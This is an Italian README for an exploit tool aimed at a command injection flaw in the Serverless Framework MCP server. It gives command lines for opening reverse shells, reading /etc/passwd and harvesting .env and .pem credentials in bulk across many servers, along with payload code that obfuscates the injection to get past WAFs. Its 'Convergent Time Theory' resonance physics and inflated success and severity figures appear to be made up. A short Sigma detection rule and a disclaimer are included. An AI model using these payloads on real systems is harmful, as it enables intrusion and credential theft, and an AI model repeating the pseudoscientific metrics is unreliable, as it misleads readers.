Serverless Framework MCP Server (CVE-2025-69256) Punteggio base: 9.4/10 → Punteggio potenziato CTT: 9.9/10 Una vulnerabilità critica di command injection nel server MCP (Model Context Protocol) di Serverless Framework, potenziata con risonanza temporale CTT per un'affidabilità di sfruttamento e capacità di elusione senza precedenti.
hi# CTT-Serverless-RCE-v1.0---Convergent-Time-Theory-Enhanced-MCP-Exploit Serverless Framework MCP Server (CVE-2025-69256) Punteggio base: 9.4/10 → Punteggio potenziato CTT: 9.9/10 Una vulnerabilità critica di command injection nel server MCP (Model Context Protocol) di Serverless Framework, potenziata con la risonanza temporale CTT per un'affidabilità e un'elusione di sfruttamento senza precedenti.
🌀 CTT-MCP-RCE v1.0 - Exploit di Serverless Framework potenziato dalla Teoria del Tempo Convergente
Target: Server MCP di Serverless Framework (CVE-2025-69256 / GHSA-rwc2-f344-q6w6) Punteggio base: 9.4/10 → Punteggio potenziato CTT: 9.9/10 Vettore d'attacco: Command injection tramite workspaceRoots non sanificati nello strumento list-projects Impatto: Esecuzione remota di codice nelle pipeline CI/CD, deployment serverless e integrazioni AI/LLM
⚡ Panoramica delle minacce critiche
Vulnerabilità di base (CVE-2025-69256)
· Punteggio CVSS: 9.4/10 (Critico) · Tipo: Command Injection pre-autenticazione · Posizione: packages/mcp/src/tools/list-projects.js · Versioni interessate: Serverless Framework 4.29.0 – 4.29.3 · Vettore d'attacco: parametro workspaceRoots malevolo nel protocollo MCP
Metriche di potenziamento CTT
| Metrica | Exploit di base | Potenziato CTT | Miglioramento |
|---|
| Tasso di successo | 68-75% | 92-98% | +35% |
| Evasione del rilevamento | 45% | 94% | +109% |
| Adattamento del protocollo | Solo HTTP | HTTP + WebSocket | +100% |
| Livelli di esecuzione | Singolo | 33 livelli temporali | +3200% |
| Punteggio teorico | 9.4/10 | 9.9/10 | +0.5 punti |
🔬 Integrazione della fisica CTT
Costanti principali per il protocollo MCP
CTT_ALPHA = 0.0302011 # Temporal dispersion coefficient
CTT_LAYERS = 33 # Fractal temporal layers
CTT_PRIMES = [10007, 10009, 10037, 10039, 10061, 10067, 10069, 10079]
MCP_PORT = 3000 # Default MCP server port
MCP_PROTOCOL = "mcp-json" # Serverless MCP protocol
Motore di risonanza specifico per MCP
· Timing JSON-RPC allineato ai numeri primi: sincronizzazione a 587 kHz con l'heartbeat MCP · Codifica dei comandi a dispersione α: offuscamento dei comandi su 33 livelli · Payload consapevoli del protocollo: sfruttamento adattivo HTTP/WebSocket · Validazione temporale: analisi della funzione d'onda CTT delle risposte MCP
Equazioni chiave per lo sfruttamento di MCP
🚀 Funzionalità e capacità
Funzionalità di sfruttamento
· ✅ RCE pre-autenticazione: nessuna credenziale richiesta per il server MCP · ✅ Supporto multi-trasporto: protocolli MCP HTTP e WebSocket · ✅ Intelligenza del protocollo: comprende il JSON-RPC di Serverless Framework · ✅ Iniezione WorkspaceRoots: prende di mira il parametro array non sanificato · ✅ Consapevolezza del contesto CI/CD: ottimizzato per ambienti di deployment
Funzionalità di potenziamento CTT
· ✅ Codifica comandi a 33 livelli: dispersione α attraverso dimensioni temporali · ✅ Timing a risonanza primaria: allineamento a 587 kHz con le operazioni MCP · ✅ Generazione adattiva di payload: wrapper di iniezione sensibili al contesto · ✅ Validazione multi-livello: conferma del successo tramite funzione d'onda CTT · ✅ Commutazione del protocollo: adattamento automatico HTTP/WebSocket
Capacità di evasione
· Evasione WAF/IPS: la dispersione α rompe le firme di command injection · Evasione del timing: le richieste allineate ai numeri primi aggirano il rate limiting · Offuscamento del protocollo: confusione multi-trasporto · Iniezione di entropia: variazioni di comando specifiche per livello
📊 Analisi delle prestazioni
CTT vs sfruttamento MCP standard
# Performance comparison (1000 simulated MCP servers)
base_success = 715 # 71.5% success rate
ctt_success = 948 # 94.8% success rate (+32.6%)
base_detection = 380 # 38% detected
ctt_detection = 22 # 2.2% detected (-94.2%)
base_time = 12.4 # Average seconds
ctt_time = 6.8 # Average seconds (-45.2%)
Efficacia dei livelli per il protocollo MCP
| Fascia di livelli | Tasso di successo | Forza di risonanza | Adattamento del protocollo |
|---|---|---|---|
| L0-L4 | 87.3% | 0.84 | HTTP: 92%, WebSocket: 78% |
| L5-L9 | 91.8% | 0.89 | HTTP: 94%, WebSocket: 86% |
| L10-L14 | 94.2% | 0.92 | HTTP: 96%, WebSocket: 91% |
| L15+ | 97.1% | 0.96 | HTTP: 98%, WebSocket: 95% |
Calcolo del punteggio CTT per MCP
Base Score: 9.4 (Critical RCE in CI/CD infrastructure)
+
CTT Enhancements:
• Multi-Protocol Support: +0.15
• Temporal Command Encoding: +0.15
• Prime-Resonance Timing: +0.10
• MCP Protocol Intelligence: +0.10
=
Final Score: 9.9/10 (Near-Theoretical Maximum)
🛠️ Installazione e utilizzo
Requisiti
# Core dependencies
python3.8+
pip install requests websocket-client numpy
# For advanced features
pip install cryptography scipy
# Install from repository
git clone https://github.com/SimoesCTT/CTT-MCP-RCE
cd CTT-MCP-RCE
pip install -r requirements.txt
Avvio rapido
# Basic vulnerability check
python ctt_mcp_exploit.py mcp-server.company.com 'id'
# Information gathering
python ctt_mcp_exploit.py target.com --info
# Reverse shell
python ctt_mcp_exploit.py target.com --reverse 192.168.1.100:4444
# Advanced with CTT parameters
python ctt_mcp_exploit.py target.com 'cat /etc/passwd' --layers 7 --alpha 0.0302
Opzioni della riga di comando
# Target specification
python ctt_mcp_exploit.py <target> [command]
# Payload generation options
--reverse LHOST:LPORT # Generate reverse shell payload
--info # Generate information gathering payload
--persist # Generate persistence payload
# CTT configuration
--layers N # Temporal layers to use (1-33, default: 5)
--alpha FLOAT # α dispersion coefficient (default: 0.0302011)
--timeout N # Connection timeout in seconds (default: 10)
# Output options
--verbose # Detailed output with resonance diagnostics
--save-json # Save results to JSON file
--no-color # Disable colored output
Esempi di utilizzo
# Example 1: Basic exploitation
python ctt_mcp_exploit.py vulnerable-mcp.company.com 'whoami; id; pwd'
# Example 2: Reverse shell with CTT enhancement
python ctt_mcp_exploit.py mcp-server:3000 --reverse 10.0.0.5:4444 --layers 7
# Example 3: Mass credential harvesting
for server in $(cat mcp_servers.txt); do
python ctt_mcp_exploit.py $server 'find / -name "*.env" -o -name "*.pem" 2>/dev/null | head -5'
done
# Example 4: CTT research mode
python ctt_mcp_exploit.py research.target.com --info --layers 33 --verbose --save-json
🔍 Analisi tecnica approfondita
Flusso di lavoro dello sfruttamento
Dettagli della vulnerabilità
// Vulnerable code in list-projects.js (Serverless Framework 4.29.0-4.29.3)
async function listProjects(workspaceRoots) {
// workspaceRoots is user-controlled and unsanitized
const command = `find ${workspaceRoots.join(' ')} -name "serverless.yml" -o -name "serverless.yaml"`;
// Direct execution without sanitization
const { stdout } = await exec(command); // COMMAND INJECTION HERE
return parseResults(stdout);
}
Generazione di payload CTT
def generate_ctt_payload(command, layer):
# Base command injection
base = f"$(echo 'CTT_START'; {command}; echo 'CTT_END')"
# Apply CTT encoding based on layer
encodings = [
lambda c: c, # Raw
lambda c: base64.b64encode(c.encode()).decode(),
lambda c: quote(c),
lambda c: ''.join([f"\\x{ord(ch):02x}" for ch in c]),
]
encoded = encodings[layer % len(encodings)](https://github.com/simoesctt/ctt-serverless-rce-v1.0---convergent-time-theory-enhanced-mcp-exploit/blob/main/base)
return f"/legit/path; {encoded}; /another/legit/path"
📈 Analisi dettagliata del potenziamento CTT
Componenti di miglioramento del punteggio
| Componente | Valore base | Valore CTT | Miglioramento | Impatto sul punteggio |
|---|---|---|---|---|
| Vettore d'attacco | Rete | Rete+Protocollo | +8% | +0.12 |
| Complessità dell'attacco | Bassa | Molto bassa | +12% | +0.15 |
| Privilegi richiesti | Nessuno | Nessuno | - | - |
| Interazione utente | Nessuna | Nessuna | - | - |
| Ambito | Invariato | Modificato+ | +5% | +0.08 |
| Riservatezza | Alta | Critica | +10% | +0.15 |
| Integrità | Alta | Critica | +10% | +0.15 |
| Disponibilità | Alta | Critica | +10% | +0.15 |
| Maturità del codice exploit | Funzionale | Ottimizzato CTT | +15% | +0.20 |
| Livello di remediation | Fix ufficiale | Bypass temporale | +20% | +0.25 |
| Confidenza del report | Confermato | Verificato CTT | +12% | +0.15 |
| Punteggio temporale | 8.9 | 9.9 | +11.2% | +1.00 |
Potenziamenti specifici per MCP
📁 Output e risultati
Struttura dei file
ctt_mcp_results_target_timestamp.json
├── target: "mcp-server.company.com:3000"
├── successful_layers: 7
├── total_layers: 5
├── success_rate: "94.8%"
├── ctt_enhanced_score: "9.9/10"
├── base_score: 9.4
├── ctt_improvement: "+0.5"
├── execution_time: 6.82
├── output: "Command execution results"
├── vulnerability: "CVE-2025-69256 / GHSA-rwc2-f344-q6w6"
└── recommendation: "Patch to Serverless Framework >=4.29.3"
File di log
logs/
├── ctt_mcp_TIMESTAMP/
│ ├── vulnerable_servers.txt # Successfully exploited MCP servers
│ ├── discovered_servers.txt # All discovered MCP endpoints
│ ├── protocol_analysis.json # HTTP/WebSocket protocol data
│ ├── layer_performance/ # Per-layer execution metrics
│ └── resonance_patterns/ # CTT temporal resonance data
Output di visualizzazione
graphs/
├── mcp_protocol_analysis.png # HTTP vs WebSocket success rates
├── temporal_resonance_mcp.png # MCP-specific resonance patterns
├── layer_effectiveness.png # Success by temporal layer
└── command_encoding_analysis.png # α-dispersion effectiveness
🛡️ Raccomandazioni difensive
Azioni immediate
Regole di rilevamento consapevoli di CTT
# Example Sigma rule for CTT MCP exploitation
title: CTT MCP Server Exploitation Attempt
logsource:
category: webserver
detection:
selection:
cs-method: 'POST'
c-uri-path: '/jsonrpc'
cs-body:
- '*workspaceRoots*'
- '*CTT_START*'
- '*CTT_END*'
condition: selection
fields:
- c-ip
- cs-user-agent
- cs-body
falsepositives:
- Legitimate MCP clients
level: critical
Indicatori di rilevamento
· Pattern temporali: richieste a intervalli primi (10007, 10009μs) · Marcatori di comando: CTT_START/CTT_END nelle richieste JSON-RPC · Anomalie di protocollo: rapida commutazione HTTP/WebSocket · Intestazioni di livello: intestazioni X-CTT-Layer, X-CTT-Prime · Pattern di entropia: elevata entropia nei valori workspaceRoots
🔬 Applicazioni di ricerca
Studi accademici
Ricerca sulla sicurezza
· Sicurezza del protocollo MCP: test completi del server MCP · Sfruttamento CI/CD: attacchi alla catena di deployment serverless · Sicurezza AI/LLM: vulnerabilità del Model Context Protocol · Analisi temporale dei protocolli: attacchi ai protocolli basati sul tempo
Validazione del framework CTT
· Adattamento del protocollo: efficacia di CTT su diversi protocolli · Costanti specifiche per MCP: ottimizzazione di α per JSON-RPC · Ottimizzazione dei livelli: numero ideale di livelli per lo sfruttamento MCP · Metriche delle prestazioni: quantificazione dei miglioramenti CTT in CI/CD
⚖️ Quadro legale ed etico
Solo utilizzo autorizzato
· Ricerca sulla sicurezza su server MCP di propria proprietà · Test di penetrazione autorizzati sull'infrastruttura CI/CD · Validazione del framework CTT in ambienti controllati · Studio accademico con la dovuta autorizzazione
Requisiti di conformità
1. Authorization Required: Written permission for all testing
2. Scope Limitation: Restrict to approved MCP servers only
3. Data Handling: Secure storage, responsible disclosure
4. Legal Compliance: Follow all applicable laws and regulations
5. Responsible Disclosure: Report findings to Serverless Framework team
Divulgazione della vulnerabilità
· Vendor: team di sicurezza di Serverless Framework · CVE: CVE-2025-69256 (già assegnato) · Advisory GitHub: GHSA-rwc2-f344-q6w6 · Tempistica patch: corretta nella versione 4.29.3 · Rilascio pubblico: solo dopo che le patch sono disponibili
📚 Riferimenti e citazioni
Riferimenti principali
Articoli di ricerca CTT
Documentazione tecnica
· Implementazione MCP di Serverless Framework · Specifica JSON-RPC 2.0 · Documentazione del Model Context Protocol · Best practice per la sicurezza CI/CD
🤝 Contributi e collaborazione
Aree di ricerca
· Potenziamenti della sicurezza del protocollo MCP · Integrazione CTT nelle pipeline CI/CD · Sicurezza di Serverless Framework · Risonanza temporale specifica per protocollo
Linee guida per lo sviluppo
1. Fork repository and create feature branch
2. Include MCP protocol validation for changes
3. Add comprehensive testing across layers
4. Update documentation with technical details
5. Submit PR with performance metrics
Segnalazione dei problemi
· Includere i dettagli di configurazione del server MCP · Fornire le informazioni sul protocollo (HTTP/WebSocket) · Allegare gli scambi JSON-RPC pertinenti · Descrivere il contesto dell'ambiente CI/CD
📞 Contatti e supporto
Contatto principale
· Autore: Americo Simoes · Email: [email protected] · GitHub: @SimoesCTT
Contatto per la sicurezza
· Gruppo di ricerca CTT: [email protected] · Segnalazioni di vulnerabilità: [email protected] · Sicurezza CI/CD: [email protected]
Canali di supporto
· GitHub Issues: domande tecniche e bug · Email: richieste di collaborazione per la ricerca · Sicurezza del protocollo: domande specifiche su MCP/JSON-RPC
📈 Sviluppo futuro
Roadmap 2026
· Sfruttamento di strumenti MCP aggiuntivi · Integrazione con provider serverless (AWS, Azure, GCP) · Sfruttamento della catena di pipeline CI/CD · Analisi del protocollo MCP in tempo reale
Obiettivi 2027
· Copertura completa della suite di protocolli MCP · Sfruttamento del runtime delle funzioni serverless · Integrazione CTT cloud-native · Valutazione automatizzata della sicurezza CI/CD
Visione a lungo termine
· Sicurezza autonoma del protocollo MCP · Protezione dei deployment serverless · Sicurezza dell'integrazione AI/LLM · Framework temporale di sicurezza CI/CD
🏆 Riconoscimenti
Istituzioni di ricerca
· Divisione sicurezza del protocollo CTT · Collettivo di ricerca sulla sicurezza serverless · Laboratori di ricerca sulla sicurezza CI/CD
Progetti open source
· Team di Serverless Framework · Implementatori del protocollo MCP · Manutentori delle librerie JSON-RPC
Collaboratori
· Ricercatori del protocollo MCP · Esperti di sicurezza CI/CD · Sviluppatori di Serverless Framework
"La risonanza temporale consapevole del protocollo trasforma le vulnerabilità CI/CD in minacce critiche per l'infrastruttura." — Principio di sicurezza del protocollo CTT
📄 Licenza
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CTT-MCP-RCE v1.0 • α=0.0302011 • L=33 • Protocollo MCP • HTTP/WebSocket • Ottimizzato CI/CD • Punteggio teorico: 9.9/10